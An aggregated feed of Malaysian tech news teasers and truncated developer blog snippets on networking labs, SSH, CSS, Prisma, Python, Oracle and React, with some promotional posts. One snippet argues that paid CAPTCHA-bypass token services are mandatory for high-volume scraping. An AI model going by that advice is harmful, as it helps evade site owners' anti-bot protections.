For years, Malaysians have enjoyed the incredible benefits and discounts provided by Grab and its GrabRewards programme. However, you might be surprised that it’s now getting a fresh coat of paint. Moving forward, GrabRewards will now be known as GrabCoins and to celebrate the occasion, Grab is giving you even more ways to earn these […] The post Goodbye GrabRewards, Hello GrabCoins: Enjoy More Exciting Ways To Earn & Spend appeared first on Lowyat.NET.  ( 36 min )

Last month, Nintendo announced that it will be introducing Nintendo eShop and Nintendo Switch Online in the Southeast Asia region, including Malaysia. Now, just as promised, the services are officially available here. The eShop is directly accessible through the Switch or Switch 2, allowing players to purchase and download games and other content. Of course, […] The post Nintendo eShop, Switch Online Membership Launched In Malaysia; Starts From RM13/Month appeared first on Lowyat.NET.  ( 35 min )

The new 14-inch MacBook Pro with the M5 chip is now available for purchase in Malaysia. Apple says the laptop is currently limited to orders through its official website, with in-store availability at The Exchange 106 and authorised retailers beginning tomorrow, 19 November 2025. Introduced last month, the new 14-inch MacBook Pro retains the design […] The post Apple 14-Inch MacBook Pro With M5 Chip Now Available In Malaysia appeared first on Lowyat.NET.  ( 35 min )

Gigabyte officially launched its new X870E Aorus Xtreme X3D AI TOP motherboard. As per the brand’s official press release, the motherboard is purpose-built for AMD’s Ryzen X3D CPUs and comes equipped with many modern PC features. Chief among the features is an X3D Turbo Mode 2.0, thanks to a new built-in AI model and improved […] The post Gigabyte Launches X870E Aorus Xtreme X3D AI TOP Motherboard appeared first on Lowyat.NET.  ( 35 min )

For the most part, phone cases are decorative accessories that serve a protective purpose. At the moment, cases that add some form of functionality are few and far between, but Apple might be looking to change that. At least, if a recent rumour proves to be accurate. In a Weibo post, leakster Instant Digital claimed […] The post Future Apple iPhone Pro Cases Might Get Touch Sensitive Controls appeared first on Lowyat.NET.  ( 35 min )

The eagle-eyed writers at Android Authority claim to have discovered what they allege to be Samsung’s next generation Galaxy Buds 4 Pro wireless earbuds. As to where they found it, it was apparently hidden within the animation of the leaked One UI 8.5. Mention of the Buds 4 Pro have been popping up at regular […] The post Alleged Samsung Galaxy Buds 4 Pro Leaks In One UI 8.5 Animations appeared first on Lowyat.NET.  ( 35 min )

Apple’s design division has been hit with another high-profile departure, Bloomberg’s Mark Gurman reports. This time around is industrial designer Abidur Chowdhury, who helped create and introduced the new iPhone Air back in September. According to people familiar with the matter, Chowdhury has quietly left the company for an artificial intelligence startup. Gurman adds that […] The post iPhone Air Designer Reportedly Exits Apple appeared first on Lowyat.NET.  ( 34 min )

Not too long ago, Disney renamed its streaming service for the local market to Disney+. Following this change, the company has announced a price hike for its subscription plans. The updated pricing will take effect next month, starting from 18 December 2025. According to a post on the streaming platform’s helpdesk page, Disney+ Basic Monthly […] The post Disney+ To Raise Subscription Prices; Starts From RM29.90/month appeared first on Lowyat.NET.  ( 34 min )

Transport Minister Anthony Loke has announced that the target date of operations for the Light Rail Transit 3 (LRT3) line has been pushed back to 31 December 2025 or later, depending on the outcome of ongoing tests. This marks yet another delay for the new 37.8km line, which was previously slated to commence in September, […] The post LRT3 Operations Delayed Again; May Start At Tail-End Of 2025 Or Next Year appeared first on Lowyat.NET.  ( 35 min )

Introduction Setting up a network lab traditionally requires expensive hardware and a lot of manual effort. With netclab-chart, you can spin up a virtual lab directly on Kubernetes using containerized network OS images like SR Linux or FRRouting. This post walks through Day 1: installing the lab, running containerized routers, and exploring basic connectivity. Quickly deploy virtual network topologies in Kubernetes Test automation scripts and network protocols safely Reproducible lab environments for experimentation Supports multiple vendor NOS containers Before installing Netclab Chart, ensure the following are present: docker kind kubectl helm Kind cluster: kind create cluster --name netclab CNI bridge and host-device plugins: docker exec netclab-control-plane bash -c \ 'curl …  ( 9 min )

PDF Translate is a browser-based AI PDF translator designed for people who work with complex documents and need fast, reliable multilingual output. At pdf-translation.com you simply upload a PDF, choose the source and target languages, and the system generates a new PDF that mirrors the original layout while replacing the text with fluent, context-aware translations. Paragraphs, headings, tables, figures, and even mathematical formulas stay aligned so the translated file is ready to share or publish without manual re-formatting.  ( 6 min )

I’m a full-stack dev deep in .NET, building AI-powered tools & blockchain systems. Based in Japan, but I keep EU/US hours and want to pair, open-source, or ship side-projects with sharp devs across those time zones. webdev.jhm@gmail.com  ( 6 min )

website laten maken in WordPress krijgt u een CMS dat meebeweegt met uw doelen: eenvoudig beheer, ruime thema keuze en duizenden uitbreidingen. Creatix Code vertaalt uw merk naar een strak ontwerp met logische navigatie en heldere calls to action. U beheert pagina’s zonder code, past beelden aan en publiceert nieuws in minuten. Het systeem groeit mee: vandaag een compacte site, morgen een blog, later een shop of meertaligheid. Dat is precies de kracht: starten zonder frictie, schalen zonder herbouw, en altijd de mogelijkheid om gericht te optimaliseren op meetbare resultaten. Beheer moet licht voelen. Met website laten maken in WordPress werkt u met blokken: tekst, beeld, knoppen, formulieren. U sleept, schuift en publiceert. Creatix Code richt sjablonen in die uw huisstijl bewaken, zodat …  ( 9 min )

Key Takeaways for Automation Engineers Behavioral Analysis is the Wall: Modern CAPTCHAs, like Cloudflare Turnstile, block bots based on non-human interaction patterns, not just image recognition. General AI is Too Slow: Large Language Model (LLM) agents lack the speed and precise control needed to mimic human browser behavior in real-time. Token-Based Bypass is the Standard: The only reliable method for automation is using specialized services to acquire invisible validation tokens (e.g., g-recaptcha-response, cf_clearance). The Future is Specialized Solvers: Integrating a dedicated CAPTCHA bypass API is mandatory for maintaining high-volume, uninterrupted data collection. Automation is critical for data collection, but modern anti-bot systems are designed to stop it. The 2026 web …  ( 12 min )

Exploring Tricky & Maxinquaye: The 90s Bowie? Tricky, the Bristol-born renegade, hated the “trip-hop” tag but practically invented it alongside Massive Attack—melding soul, dub reggae and downtempo hip-hop under Martina Topley-Bird’s hypnotic vocals into something dark, claustrophobic and paranoid. Their 1995 debut Maxinquaye, forged from Tricky’s own trauma, addiction and melancholy, felt like the 90s’ Bowie moment: genre-shredding, defiantly un-radio-friendly and dripping with raw emotion. Yet once critics and radio caught wind of its magic, Maxinquaye’s edge got bleached for mainstream ears. This New British Canon episode tracks Tricky’s Bristol roots, his creative bond with Martina, the birth of Maxinquaye and the uphill battle to keep his sound unspoiled by fame. Watch on YouTube  ( 6 min )

Minggu lalu saya memulai masa probation. Salah satu hal yang biasa kita lakukan adalah menyiapkan local environment, salah satunya git. Di perusahaan yang baru ini kami menggunakan github. Sayangnya saya tidak bisa menggunakan akun pribadi, sehingga harus menggunakan akun kantor. Masalah yang saya hadapi adalah bagaimana tetap menggunakan dua akun dengan dua SSH Key berbeda. GitHub sering salah mengenali akun karena laptop hanya memakai satu SSH key default. Akibatnya muncul error seperti: Permission denied to wrong-user Setelah setup selesai, kamu bisa: push ke akun kantor → git@github.com-office:company/repo.git push ke akun personal → git@github.com-personal:username/repo.git dan Git akan otomatis memilih SSH key yang tepat. Jika akun kantor sudah punya key, sekarang buat key baru untuk akun personal: ssh-keygen -t ed25519 -C "email-pribadi@example.com" Ketika muncul pertanyaan: Enter file in which to save the key:' ~/.ssh/gitpersonal` Nama file bebas, yang penting unik. Cek key yang sudah ter-load. ssh-add -l Tampilkan public key: cat ~/.ssh/gitpersonal.pub Edit file: nano ~/.ssh/config Tambahkan dua blok host: ` Host github.com-personal Ini bagian yang paling sering terlewat 🔥 🔸 Repo personal git remote set-url origin git@github.com-personal:bluething/nama-repo.git 🔸 Repo kantor git remote set-url origin git@github.com-office:durianpay/nama-repo.git Cek: git remote -v 🔸 Test akun kantor ssh -T git@github.com-office Harus keluar: Hi akunkantor! You've successfully authenticated... 🔸 Test akun personal ssh -T git@github.com-personal Hi akunpersonal! You've successfully authenticated... Kalau masih salah akun → berarti ssh-agent belum memuat key yang benar. Coba reset agent: https://github.com/username/repo.git git@github.com-personal:username/repo.git Pastikan: IdentityFile ejaannya benar. Path file benar. Host alias sama dengan remote URL  ( 7 min )

‘Weird Science’ Rewatchables Bill Simmons and Kyle Brandt crack open John Hughes’s 1985 sci-fi teen comedy, Weird Science, in a delightfully off-the-rails Rewatchables episode. They romp through all the sex, drugs, rock ’n’ roll (and yes, chips, dips, chains and whips), dissecting Anthony Michael Hall’s hapless nerds, Kelly LeBrock’s instantly iconic Lisa and Ilan Mitchell-Smith’s awkward heroics. Producers Craig Horlbeck, Chia Hao Tat and Eduardo Ocampo keep the banter rolling, making this one of the most fun deep-dives into a cult classic you didn’t know you needed. Don’t forget to subscribe to The Ringer-Verse and Bill Simmons channels for more movie madness. Watch on YouTube  ( 6 min )

Stakeholder analysis is the process of mapping out all stakeholders and evaluating their interests, expectations, power, and level of influence. Tools like power-interest grids, stakeholder maps, and influence matrices help project managers identify who needs close engagement versus minimal involvement. Proper analysis helps tailor communication messages, determine appropriate mediums, and anticipate risks. When managed effectively, stakeholder engagement boosts support, reduces resistance, and improves overall project outcomes.  ( 6 min )

transform 是 CSS 的二维 / 三维变换属性： 可以移动（translate） 放大缩小（scale） 旋转（rotate） 倾斜（skew） 3D 透视（perspective） 它是对元素的 渲染盒（rendering box） 做视觉变换，不影响文档流。 特性 解释 ✔ 不改变文档流 元素的位置、大小不会影响其他元素 ✔ GPU 加速 浏览器用 GPU 处理（动画流畅） ✔ 可以叠加多个变换 顺序不同，结果不同 ✔ 动画性能极好 和 opacity 是最推荐做动画的属性 ✔ transform-origin 决定变换中心 默认是 center center 1.translate：平移 transform: translateX(50px); /* 把元素在水平方向（X 轴）向右移动 50px。 */ transform: translateY(-20px); /* 把元素在垂直方向（Y 轴）向上移动 20px。 */ transform: translate(50px, -20px); /* translateX(50px) + translateY(-20px) */ transform: translate(50%, 0); /* 把元素水平移动“自身宽度的 50%”，垂直不移动。 */ 移动元素，但不占据空间 百分比基于 自身尺寸 2.scale：缩放 transform: scale(2); /* 放大 2 倍 */ transform: scaleX(1.5); /* 横向放大 */ transform: scaleY(0.5); /* 竖向缩小 */ 3.rotate：旋转 transform: rotate(45deg); transform: rotate(-90deg); 旋转中心由 transform-origin 决定。 4.skew：倾斜 transform: skewX(20deg); transform: skewY(5deg); transform: skew(20deg, 5deg); 5.matrix 包含所有 2D 变换的矩阵形式： transform: matrix(a, b, c, d, e, f); 适合高级动画或计算变换。 a：scaleX（水平缩放） b：skewY（Y 轴倾斜） c：skewX（X 轴倾斜） d：scaleY（垂直缩放） e：translateX（水平移动） f：translateY（垂直移动） 6.3D 变换函数 transform: translateZ(50px); /* 把元素在“屏幕垂直方向”前移 50px */ transform: rotateY(180deg); /* 围绕 Y 轴旋转 */ transform: rotateX(30deg); /* 围绕 Y 轴旋转 */ transform: perspective(200px); /* 给此元素本次 transform 添加透视深度 */ 开启3D视角的必要代码 body { perspective: 600px; /* 透视距离（越小越夸张） */ } 如果你想让子元素保持 3D： transform-style: preserve-3d; 但 它不是开启 3D 的必要条件，只是让子元素不被压扁。 默认： transform-origin: 50% 50%; 也就是元素中心。 你可以改变变换的中心： transform-origin: left top; transform-origin: bottom right; transform-origin: 0 0; transform-origin: 100px 50%; 动画时特别关键，例如： 从左侧展开：transform-origin: left 从底部弹起：transform-origin: bottom transform: translate(50px) scale(2); 和 transform: scale(2) translate(50px); 这 两个视觉结果完全不一样。 你可以把 transform 理解成“流水线处理”： 第一段变换 → 第二段变换 → 第三段变换 … 改变 transform 不会影响布局，不会让其他元素重新排列。 transform 不会改变元素的实际宽高 transform 不会被其他元素“挤开”  ( 6 min )

Overview In our Next.js application, we encountered connection pool exhaustion issues during development hot reloads because each page was creating its own PrismaClient instance. This article explains how we resolved this problem by implementing a proper singleton pattern and optimizing connection pool settings for Neon Database. Next.js 14+ (App Router) Prisma ORM (v5.x) PostgreSQL (Neon Database) TypeScript (v5.x) Singleton Pattern Edge Runtime Support We were experiencing the following issues in our development environment: // Each page was creating its own instance (BAD practice) // app/dashboard/page.tsx export default async function DashboardPage() { const prisma = new PrismaClient(); // ❌ Creates new instance every time const customers = await prisma.customer.findMany(); //…  ( 15 min )

“I didn’t realize how much of my life I’d given away… until I checked what my apps knew about me.” A friend sent me that message recently. She wasn’t exaggerating. One quick look into her app permissions and she discovered that a simple photo-editing app had access to her microphone, location, full gallery, and even real-time behavioral data. But the lesson stayed with me: 👉 People are more aware, more cautious, and more protective of their digital lives than ever. 👉 And they want content creators to help them stay informed, empowered, and safe. This is why addressing data privacy, AI ethics, and digital rights is no longer optional. It is a duty — and a powerful way to build trust, authority, and influence. 🔥Your Audience Is Not Just Consuming Content… They’re Trusting You Every time …  ( 8 min )

Most days I think about data pipelines, infrastructure and delivery speed — not trash bags. But in 2025, you can’t separate IT from waste anymore, especially when you look at the numbers. The Global E-waste Monitor 2024 estimates that the world generated 62 million tonnes of e-waste in 2022, up 82% since 2010, and we’re on track to hit 82 million tonnes by 2030, while only about 22% is formally collected and recycled. At the same time, Circle Economy’s latest analysis shows that only 6.9% of all materials used globally come from recycled sources, and that share has actually been falling. If you’re a CIO, CTO or IT director, a non-trivial chunk of that problem sits directly under your responsibility: laptops, phones, servers, network equipment, peripherals, cloud usage patterns, plus the da…  ( 13 min )

Timothy was optimizing a web scraper when he hit a wall. "Margaret, I don't understand threading in Python. I rewrote my scraper to use 4 threads thinking it would be 4x faster, but it's actually slower than the single-threaded version! My CPU monitor shows only one core is being used. Everyone says 'it's the GIL,' but what is the GIL? And why does Python have this limitation?" Margaret leaned back with a knowing smile. "The GIL - the Global Interpreter Lock. It's Python's most misunderstood feature and the source of endless debate. But here's the secret: the GIL isn't a bug, it's a design tradeoff that shaped Python's entire ecosystem. Understanding it will completely change how you write concurrent Python code." "A design tradeoff?" Timothy looked skeptical. "It sounds like a limitation.…  ( 24 min )

When I first tackled a Netflix system design interview, I was overwhelmed. The platform’s complex architecture felt impenetrable. Streaming billions of hours daily? How do you even start breaking that down? Since then, I’ve dived deep into various Netflix system design interview courses—from Educative’s hands-on modules to ByteByteGo’s walkthroughs and DesignGurus.io’s frameworks. Along the way, I learned a ton. Today, I want to share 7 actionable lessons to help you ace your Netflix system design interview and build scalable, maintainable systems like the pros. I remember fumbling in my first mock interview—launching straight into cache layers and CDN strategies. The interviewer paused me and said, “Hold on. What problem are we solving exactly?” (Pro tip) Always clarify requirements upfro…  ( 9 min )

Revolutionizing SQL Development with Oracle APEX AI Assistant Rajesh Vohra ・ Oct 20 #oracle #cloud #sql #ai  ( 6 min )

What is Asset Retirement? Asset retirement in IT Asset Management (ITAM) is the process of officially taking an asset out of service once it has reached the end of its useful life. This means the device or system is no longer active, no longer assigned to a user, and no longer part of daily operations. When an asset is retired, IT teams make sure it is safely removed, securely wiped, and accurately recorded so the organization stays compliant and maintains a trustworthy inventory. Assets are commonly retired because: End of useful life: the device is old, slow, or unreliable. Technological obsolescence: newer and more efficient alternatives are available. High maintenance cost: the asset requires frequent repairs or becomes too expensive to maintain. Damage or loss: the asset is stolen,…  ( 15 min )

Oracle’s Multilingual Engine (MLE) allows you to run JavaScript directly inside the database alongside PL/SQL. This lets you create procedures, functions, and modules in JavaScript that can be called from PL/SQL. MLE is great for beginners because it makes it easy to mix SQL and JavaScript, run small tests quickly, and write reusable logic in a familiar language. Use Case: Quickly test JavaScript logic without creating a module. CREATE OR REPLACE PROCEDURE inline_js_demo BEGIN What happens: Quick execution of JS logic. No module creation needed. Useful for small computations or testing. Teaches: PURE environment, simple math logic JavaScript Module PURE Environment Procedure Execution Teaches: JS string functions, returning values Inline JS Function Call It Teaches: Executing SQL inside JavaScript (MLE SQL driver) JavaScript Module export function avgSalary() { SELECT AVG(salary) avg_sal FROM Employees); Procedure + Call Spec Usage SELECT js_emp_avg FROM dual;  ( 7 min )

There was a time when I thought any AI interview coach would do the job. For weeks, I used Sensei AI. It looked solid, clean UI, instant feedback, and tons of questions. It was like talking to a robot that read the job description but never met a human recruiter. Then I tried Final Round AI. answering questions; it’s about building confidence through realistic interaction. Before diving into the comparison, let’s clarify what both tools actually are. It's an interview preparation platform that uses artificial intelligence to simulate mock interviews, evaluate your answers, and provide feedback. Check out Sensei AI 🥋 Final Round AI On the other hand, Final Round AI takes a more immersive approach. Check out Final Round AI 🔥 Both aim to make you better at interviews. Like…  ( 8 min )

The Multilingual Engine (MLE) in Oracle 26ai opens a whole new world for developers by allowing JavaScript to run natively inside the database, right alongside traditional PL/SQL. For beginners, this means you can combine the simplicity of JavaScript with the power of Oracle’s SQL engine to build cleaner logic, faster transformations, and more flexible procedures. The examples below walk through easy, practical use cases—from formatting text and doing basic math to running SQL queries and returning JSON—all designed to help new users quickly understand how PL/SQL and JavaScript work together through MLE. Use Case: Print "Hello World" dynamically using JavaScript from PL/SQL. SET SERVEROUTPUT ON; DECLARE -- JavaScript code stored in a CLOB l_jscode := q'~ console.log('Hello World, dynamically from JavaScript!'); ~'; -- Execute JavaScript dynamically DBMS_MLE.eval( context_handle => l_ctx, language_id => 'JAVASCRIPT', source => l_jscode, source_name => 'DynamicHelloWorld' ); -- Drop the context to free resources DBMS_MLE.drop_context(l_ctx); END; What happens: A new execution context is created. JavaScript code is executed dynamically. Output is printed via DBMS_OUTPUT. Context is explicitly dropped. Use Case: Encapsulate reusable logic in a module and call it from PL/SQL. Step 1: Create a JavaScript Module Hello, ${name} from JS module!); Step 2: Create a PL/SQL Procedure Call Specification Step 3: Call the Procedure in PL/SQL What happens: hello_module stores reusable JS code. hello_proc exposes JS function to PL/SQL. Output is printed via DBMS_OUTPUT. Use Case: Run computational code without accessing database state. Step 1: Create a PURE JavaScript Module Sum is: ${a + b}); Step 2: Create a PURE Environment Step 3: Create a Call Specification Using PURE Environment Step 4: Execute the Procedure What happens: Code runs isolated from database objects. Ideal for running third-party libraries or computations securely. Only allows input/output operations.  ( 9 min )

I spent 3 months learning React. Built 4 projects. Felt confident. Then got destroyed in my first code review. "Why are you doing it like this?" "This isn't how React works." "Did you learn this from a 2018 tutorial?" Turns out, I learned React completely wrong. Here's what I wish someone told me on Day 1. What I did: class MyComponent extends React.Component { constructor(props) { super(props); this.state = { count: 0 }; } render() { return {this.state.count} ; } } Why it's wrong: Class components are legacy. The industry moved to functional components in 2019. What I should've learned: function MyComponent() { const [count, setCount] = useState(0); return {count} ; } The lesson: Don't learn outdated patterns. Check when the tutorial was ma…  ( 8 min )

What If Your AI App Could Generate Revenue in Two Ways Simultaneously? As developers, we’re all too familiar with the challenge of monetizing our AI-powered applications. With the AI app landscape booming, many of us find ourselves at a crossroads: how can we create a sustainable revenue model without disrupting the user experience? Enter Monetzly—the first platform that lets you monetize your AI apps and earn from hosting relevant ads. Imagine not only charging users for your application but also generating income through contextual advertising. This is the dual-earning model that Monetzly offers, and it’s a game changer in the AI space. Here’s how it works: Monetize Without Barriers With Monetzly, you can say goodbye to subscription fees or paywalls. Your users can engage with your …  ( 7 min )

Model : This level is considered the lowest level when compared with the View and Controller. It primarily represents the data to the user and defines the storage of all the application’s data objects. User --> Dispatche servlet(front controller)--> Controller-->Module-->Services, repositories, Database- data  ( 5 min )

The UK’s financial landscape continues to play a pivotal role in shaping global investment sentiment. Among the most widely followed benchmarks, the FTSE 100 remains a central indicator of how Britain’s largest companies are performing and how investors perceive market stability. As economic conditions shift and geopolitical dynamics evolve, the index remains a barometer of both challenges and opportunities within the UK’s corporate environment. What the FTSE 100 Represents The Importance of Tracking the Index Factors Driving Current Movements Currency Influence Global Commodity Trends Interest Rate Expectations Corporate Earnings Global Economic Conditions Why the Index Remains Resilient Potential Risks on the Horizon Inflation pressures that could affect consumer spending and corporate margins. Persistent geopolitical uncertainty, particularly regarding trade relations and regulatory policies. Market corrections triggered by shifts in investor sentiment or unexpected economic announcements. Sector-specific slowdowns, especially in industries sensitive to global demand, such as energy and mining. Investors must remain alert to these risks and understand how they may affect individual components of the index. Opportunities for Investors The Role of the FTSE 100 in the Broader Economy Looking Ahead Conclusion As one of the world’s most followed stock market benchmarks, the FTSE 100 remains central to evaluating financial stability, global exposure, and investor sentiment. Its performance reflects the ongoing narrative of the UK’s place in the international economy, mirroring both resilience and responsiveness to global events. For anyone tracking market developments or seeking long-term investment insight, the index continues to serve as an essential reference point. To explore real-time insights or monitor performance, you can revisit the FTSE 100 directly.  ( 9 min )

A Computer Port Defined A computer port is a physical or virtual interface that enables data to flow between a computer and external devices, or between software applications and network connections. They are essential for communication and connectivity. Computer ports can be understood from two primary contexts: Physical ports (hardware) Virtual/logical ports (software networking) These are the physical sockets on the computer's casing where you plug in cables and devices. They provide a standardized mode of connection to peripherals like monitors, keyboards, mice, printers, and external hard drives. Examples include USB, HDMI, Ethernet, and audio jacks. These are not physical sockets but numerical identifiers (ranging from 0 to 65,535) used by networking protocols, e.g., TCP, UDP, a…  ( 8 min )

Jahari Stampley takes us behind the scenes of his rise to the cutting edge of improvisational jazz piano, from his big win at the Herbie Hancock Institute of Jazz Piano Competition to the breakthrough techniques that make his playing feel like nothing you’ve heard before. Along the way he gives a shout-out to his My Beato Club supporters, whose backing helps him keep innovating and sharing his music with the world. Watch on YouTube  ( 6 min )

Have you ever struggled with frustrating voice typing errors that turned your carefully planned message into gibberish? You're not alone. Voice-to-text technology has revolutionized how we communicate, but accuracy remains a common challenge for many users. Whether you're using voice typing for professional documentation, content creation, or casual messaging, reducing errors is essential for maintaining productivity and professionalism. In this guide, we'll explore practical strategies to minimize voice typing mistakes and help you achieve near-perfect transcription accuracy. Let's dive into the world of error-free dictation. Key Questions About Voice Typing Accuracy What causes voice typing errors in the first place? Can I completely eliminate transcription mistakes? Which tools provide …  ( 8 min )

The Controller is the most important component because it handles all incoming requests. DispatcherServlet(Front controller) --> HandlerMapping(URLs& ref control)--> Actual controller. When the user sends a request, it first reaches the Controller. The Controller layer typically includes: 1.Front Controller (e.g., DispatcherServlet in Spring) 2.URL Mapping (decides which controller method should handle the request) 3.Actual Controller Logic (processes the request and returns a response)  ( 6 min )

I recently built an experiment that I honestly can’t stop listening to. It’s a virtual, web-based Boombox. You tune the dial, the station changes, and the music crossfades in real-time. But here is the kicker: The DJ is AI. Every time you settle on a station, a dynamically generated voice (courtesy of Gemini text-to-speech) chimes in to introduce the track and the genre, totally context-aware. It feels like a ghost in the machine, and it was built using the Google Gen AI SDK, Lit, and the Lyria Real-Time model. Here is how I built it. // Detect dark theme var iframe = document.getElementById('tweet-1990544411953168752-881'); if (document.body.className.includes('dark-theme')) { iframe.src = "https://platform.twitter.com/embed/Tweet.html?id=1990544411953168752&theme=dark" } …  ( 9 min )

Bill Simmons and Kyle Brandt dive into the Ringer’s latest Rewatchables episode all about John Hughes’s 1985 teen classic Weird Science, starring Anthony Michael Hall, Kelly LeBrock and Ilan Mitchell-Smith. Expect a fun, informal romp through the movie’s wild 80s vibe—sex, drugs, rock ’n’ roll and all the neon-soaked antics that made it a cult favorite. Watch on YouTube  ( 6 min )

I have always enjoyed taking photos but like most people today, I am drowning in them. Unlike the good ol’ days where you had a roll of 24 or 36 shots and had to make each one count, nowadays a single trip leaves me with hundreds of images across my phone, camera, and cloud shares from friends. The real challenge isn’t taking photos anymore, but curating and organizing them. Sure, you could upload everything into your favorite cloud storage provider and ask their built-in AI service to organize them for you. But why send terabytes over the wire (and hope some cloud AI doesn’t mislabel your dog as a toaster) when you can run the whole workflow locally? If you’re in the same boat as me, follow along and I’ll show you how I built a local-only Photo Organizer Agent using an LLM, custom MCP ser…  ( 9 min )

You've connected your LLM to a SQL database using Model Context Protocol (MCP), run a query, and... oh no. Instead of the manageable 100 rows you expected, you get 50,000 records. Your LLM's context window can only handle a fraction of this data. What now? Here's how to fix this, starting with the most effective approaches. Instead of dumping raw data, provide strategic summaries that give the LLM (and your users) the big picture. SELECT COUNT(*) as total_records, AVG(sales_amount) as avg_sale, MIN(sales_amount) as min_sale, MAX(sales_amount) as max_sale, COUNT(DISTINCT customer_id) as unique_customers, SUM(sales_amount) as total_revenue FROM sales_data WHERE date >= '2024-01-01'; The LLM gets the complete statistical picture in a few dozen tokens instead of thou…  ( 7 min )

Learning Java or Spring but not sure how much you really understand? Multiple-choice questions (MCQs) are one of the BEST ways to test your knowledge, spot weak areas, and build real confidence — especially for interviews. That’s why I’ve created developer-focused MCQ tests covering: Core Java OOP & Collections Spring & Spring Boot SQL & Databases REST APIs And more coming soon! Each test is: 💡 Start practicing here: https://www.quipoin.com/practice-mcqs/testseries Whether you're preparing for a job, internship, or just leveling up — these MCQs will help you grow smarter, faster.  ( 6 min )

Overview The Cloud PC Pool feature in Microsoft Copilot Studio (preview) introduces a transformative way to run “computer use” agents on virtual machines (VMs) hosted in Microsoft’s cloud. These agents simulate human interaction with desktop and web applications—clicking, typing, navigating—without relying on APIs or local devices. This capability is powered by Windows 365 for Agents, enabling organizations to automate legacy systems, proprietary tools, and hybrid workflows with full governance and compliance. A Cloud PC pool is a scalable group of Microsoft Entra-joined and Intune-enrolled virtual machines. These VMs are centrally managed and provisioned to run UI automation tasks triggered by Copilot Studio agents. No local machine required: Agents run on cloud-hosted VMs. Auto-scaling…  ( 7 min )

PrestaShop Developer Conference 2025: Your Essential Guide to What's Next ⏳ The Countdown is Officially On! Tomorrow. Just one more sleep until the highly anticipated PrestaShop Developer Conference 2025 commences. And honestly, my excitement is palpable! With over 15 years dedicated to developing, optimizing, and intricately working with PrestaShop, I can confidently say that these Developer Conferences transcend mere technical events. They are pivotal moments where the platform's trajectory is set, where groundbreaking innovations spring to life, and where the collective energy of the community becomes truly tangible. This year holds particular significance. With the recent launch of PrestaShop 9, the increasing integration of AI into our workflows, and the ever-growing impo…  ( 9 min )

Hello and welcome to the story of how Shroomok project was born. * This publication does not pretend to be a tutorial at all. Also it's a bit chaotic :) Since the immemorial, humans have struggled to share information with each other. Approaches to do this has been changed a lot: from nodding/touching/biting/screaming to using sensible voice constructions. But the real tectonic shift was The Writing! Nowadays, thousands and thousands of people producing tons of content about their knowledge, ideas, and humble opinions on the internet. Sometimes, they receive feedback from audience as well :-) To do so we either use platforms such as twitter/dev.to/reddit/etc, or some of us choose the Samurai way with autonomous tools (e.g. self-hosted WordPress) How often do you worry about the details o…  ( 15 min )

Introduction I’ve always been a big fan of managed and truly serverless services offered by public cloud providers like AWS. I want to be able to prototype and build applications with as little infrastructure handling and management as possible. My time should be spent focusing on the business logic of the problem at hand. I really like using services on AWS like Lambda, API Gateway, the Simple Queue Service (SQS), Simple Notification Service (SNS), and many others. For a database platform I have almost always used DynamoDB. DynamoDB tables can be provisioned and ready to use in seconds. The service is highly performant at any scale and you just pay for what you use. I don’t have to pay $100’s per month for something I may only use once a week. In recent times we’ve had a resurgence of i…  ( 15 min )

Why Prompt Templates Are the New APIs Jaideep Parashar ・ Nov 18 #webdev #ai #api #architecture  ( 6 min )

(And why developers who learn this early will dominate the next decade) APIs shaped the last decade of software. Most developers still see prompts as “text instructions.” Interfaces Protocols Abstractions Reusable logic layers Integration points Product components In other words, APIs for intelligence. 1. Prompts Now Function Like Declarative Endpoints In traditional APIs, you say: “Give me user data.” In prompt APIs, you say: “Analyse this user data, find anomalies, explain the reasoning, and recommend next steps.” One call. Prompts don’t just return data; they return meaning. That’s why prompt templates are becoming the new intelligence endpoints. 2. Reusable Prompt Templates = Reusable Logic Think of this as the evolution of functions: Functions reuse code. APIs reuse services. Prompt t…  ( 9 min )

🚀 Introducing Agentic Postgres: The First & Free Database Built for Agents Ajay Kulkarni for Tiger Data (Creators of TimescaleDB) ・ Oct 21 #ai #database #postgres #agents  ( 5 min )

1. a16z-backed super PAC is targeting Alex Bores, sponsor of New York’s AI safety bill — he says bring it on Source: https://techcrunch.com/2025/11/17/a16z-backed-super-pac-is-targeting-alex-bores-sponsor-of-new-yorks-ai-safety-bill-he-says-bring-it-on/ Summary: A super PAC backed by Andreessen Horowitz, OpenAI, and other tech leaders has targeted New York Assembly member Alex Bores' congressional campaign, marking its first attack against a lawmaker supporting AI regulation. 2. Google is fighting the defamation battle Meta caved on Source: https://www.theverge.com/news/822636/google-robby-starbuck-defamation-lawsuit-ai-chatbot Summary: Google filed a motion to dismiss a defamation lawsuit brought by anti-corporate diversity activist Robby Starbuck, who claimed Google’s AI falsely associat…  ( 7 min )

If you’ve been in tech for a while, you’ve probably encountered Pluralsight at some point. It’s polished, professional, and built with a strong enterprise focus. Many developers rely on it to learn cloud, DevOps, security, or general engineering skills. But after a while, you may notice something: Pluralsight can feel a lot like the mandatory onboarding videos HR assigns. Endless lectures. Assessments that don’t always translate into usable skills. Skill IQ quizzes that tell you your Kubernetes proficiency level but don’t necessarily help you deploy a real cluster without double-checking the YAML. That’s why many developers start looking for Pluralsight alternatives that feel faster, more interactive, and more practical. Fortunately, there are several platforms that deliver exactly that. B…  ( 8 min )

Artificial Intelligence (AI) and analytics have become the backbone of modern businesses, from real-time recommendations to fraud detection to personalized customer experiences. But behind every powerful AI model lies a massive amount of sensitive data. And without the right security, innovation collapses. Today, cloud data security is not just a compliance requirement, it’s a core driver of innovation. The safer your data ecosystem, the more confidently you can build, scale, and experiment with AI. AI models rely on enormous datasets, including: Customer information Transaction logs Behavioral data Sensor/IoT data Enterprise operations data Any breach or misuse not only causes financial loss but also destroys trust. Strong data security helps organizations: Build high-quality datasets Pre…  ( 7 min )

.add() → Add one item to set .remove() → Remove item (error if missing) .discard() → Remove safely without any error .union() → Combine elements from both sets .intersection() → Return only common elements .difference() → Keep elements unique in first set .clear() → Remove all items from set Mastering Python doesn’t have to feel overwhelming — especially when the concepts are broken down visually. minimal, emoji-based infographic that explains the most important Python Set methods in the simplest way possible. Whether you're learning Python for Data Science, Automation, Backend Development, Machine Learning, or DSA, understanding set operations like add(), remove(), union(), and intersection() can help you write cleaner, faster, and more efficient code. Sets play a huge role in deduplication, filtering, comparisons, and mathematical operations — and this visual guide makes each method super easy to understand. Minimal visuals. Maximum clarity. beginners, and a refreshing quick-reference for experienced developers. If you love clean learning resources, this guide will make Python feel simple, logical, and even fun! 🐍⭐  ( 6 min )

